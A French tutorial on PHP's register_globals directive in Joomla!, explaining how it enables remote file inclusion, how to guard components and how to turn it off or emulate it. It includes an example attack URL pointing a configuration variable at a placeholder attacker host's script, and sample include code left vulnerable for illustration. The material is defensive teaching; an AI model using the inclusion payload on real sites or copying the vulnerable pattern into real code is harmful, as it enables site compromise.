IntroductionLorsque l'on charge une page PHP, le serveur fourni au script plusieurs variables pré-définies dont certaines (
$_GET,
$_POST, etc.) contiennent les données transmises par le visiteur.
Exemple :
Lorsqu'un navigateur demande une page à un serveur, il envoie une requête* :Code:
GET /index.php?option=com_frontpage
Le serveur ajoute alors à la variable $_GET (de type tableau), une entrée : option => com_frontpage
Dans le script PHP, cette entrée est ensuite accessible avec : $_GET['option']Lorsque la directive
register_globals est activée, PHP copie ces variables pré-définies dans de simples variables.
Exemple :
En prenant la base de l'exemple précédent, pour l'entrée $_GET['option'] PHP va créer une variable $option contenant également com_frontpageOù est le problème ?Cette directive n'est pas en elle-même un problème, mais elle est une source potentielle de failles de sécurité.
Exemple :
Prenons par exemple le code du composant /components/com_frontpage/frontpage.php dans lequel nous enlevons (en commentant) la protection contre les accès directs :Code:
<?php
/**
* @version $Id: frontpage.php 85 2005-09-15 23:12:03Z eddieajau $
* @package Joomla
* @subpackage Content
* @copyright Copyright (C) 2005 Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/
// no direct access
// defined( '_VALID_MOS' ) or die( 'Restricted access' ); // Code commenté pour l'exemple
// code handling has been shifted into content.php
require_once( $mosConfig_absolute_path .'/components/com_content/content.php' );
?>
Si les registres globaux sont activés, il est possible d'appeler le script de la manière suivante :http://[le_site_victime]/components/com_frontpage/frontpage.php?mosConfig_absolute_path=http://[le_site_du_cracker]/script.txt?
Si la directive allow_url_fopen est activée (ce qui est le cas généralement), le script inclu sera :http://[le_site_du_cracker]/script.txt?/components/com_content/content.phpet vous serez victime d'une attaque par inclusion de fichier distant (= remote file inclusion).Dans le cas de l'exemple précédent, l'ajout du code suivant permet de sécuriser le composant :
Code:
<?php defined( '_VALID_MOS' ) or die( 'Restricted access' ); ?>
mais cet exemple est relativement simple et les failles de sécurité ne sautent pas forcément aux yeux du premier coup d'oeil.
Exemple :Code:
<?php
// Pas d'accès direct
defined( '_VALID_MOS' ) or die( 'Restricted access' );
// Traitement de la tâche demandée
switch ( $task )
{
case 'afficher_article':
$fichier = $mosConfig_absolute_path . '/components/com_exemple/fonction_afficher.php';
break;
case 'editer_article':
if ( $my->gid < 2 )
mosNotAuth();
$fichier = $mosConfig_absolute_path . '/components/com_exemple/fonction_editer.php';
break;
case 'nouvel_article':
if ( $my->gid < 2 )
mosNotAuth();
$fichier = $mosConfig_absolute_path . '/components/com_exemple/fonction_nouveau.php';
break;
}
// Chargement du script de traitement
include( $fichier );
?>
Toute variable non initialisée ou dont la provenance des données n'est pas contrôlée peut être une faille de sécurité.
Comment changer la valeur de cette directive ?Le plus simple est de demander à votre hébergeur d'effectuer le changement sur votre serveur.
S'il ne s'agit pas d'un serveur dédié, il est probable qu'il refuse. Vous pouvez alors placer un fichier
.htaccess à la racine de votre site contenant :
Code:
php_flag register_globals off
pour désactiver la directive ou au contraire :
Code:
php_flag register_globals on
pour l'activer.
Emulation de la directive register_globalsJoomla! a introduit une interface permettant d'émuler la directive
register_globals. Cette option est limitée par le fait que seuls les scripts PHP derrière cette interface sont affectés (donc les scripts indépendants ou accédés directement ne sont pas affectés).
Depuis la version 1.0.13 de Joomla!, l'activation/désactivation de l'émulation de cette directive se modifie depuis l'administration. Dans la page
Site | Configuration du Site, onglet
Serveur, option
Emulation du paramètre Register Globals.
Avant Joomla! 1.0.13 :
Quote:
La configuration de l'option
RG_EMULATION (option de Joomla! donc) s'effectue dans le fichier
/globals.php, ligne 24 :
Code:
<?php define( 'RG_EMULATION', 1 ); ?>
Pour émuler la directive
register_globals activée, il suffit d'affecter la valeur
1 à la constante
RG_EMULATION. Au contraire, pour émuler la directive
register_globals désactivée, il suffit d'affecter la valeur
0 à la constante
RG_EMULATION.
Important :
Dans l'environnement Joomla! (tout ce qui est exécuté au travers de Joomla!), les registres globaux sont définis par cette option uniquement et la configuration de la directive register_globals de PHP est sans effet après l'interface RG_EMULATION fournie par Joomla!.Activer ou désactiver ?Il est conseillé de désactiver la directive
register_globals ainsi que l'option Joomla!
RG_EMULATION pour réduire les failles de sécurité potentielles. Cela n'est malheureusement pas toujours possible, certaines extensions nécessitant l'activation de cette option (et peut-être aussi de la directive PHP pour les extensions utilisant certains scripts directement sans passer par Joomla!).
Avant de changer la configuration, vérifiez que les extensions installées sur votre site ne sont pas listées sur cette page (la liste n'est évidemment pas complète) :
http://forum.joomla.org/index.php/topic,86525.0.htmlou si possible appliquer le(s) correctif(s) indiqué(s) pour rendre vos extensions indépendantes des registres globaux.
Notes* La requête est incomplète mais la suite ne nous intéresse pas ici.
Voir pour plus de détails :
http://www.w3.org/Protocols/rfc2616/rfc2616.html (anglais)
Référenceshttp://dev.joomla.org/index.php?option=com_jd-wiki&Itemid=31&id=tips:make_secure (anglais)
http://www.php.net/manual/fr/ini.core.php#ini.register-globals (français)
http://www.php.net/manual/fr/security.globals.php (français)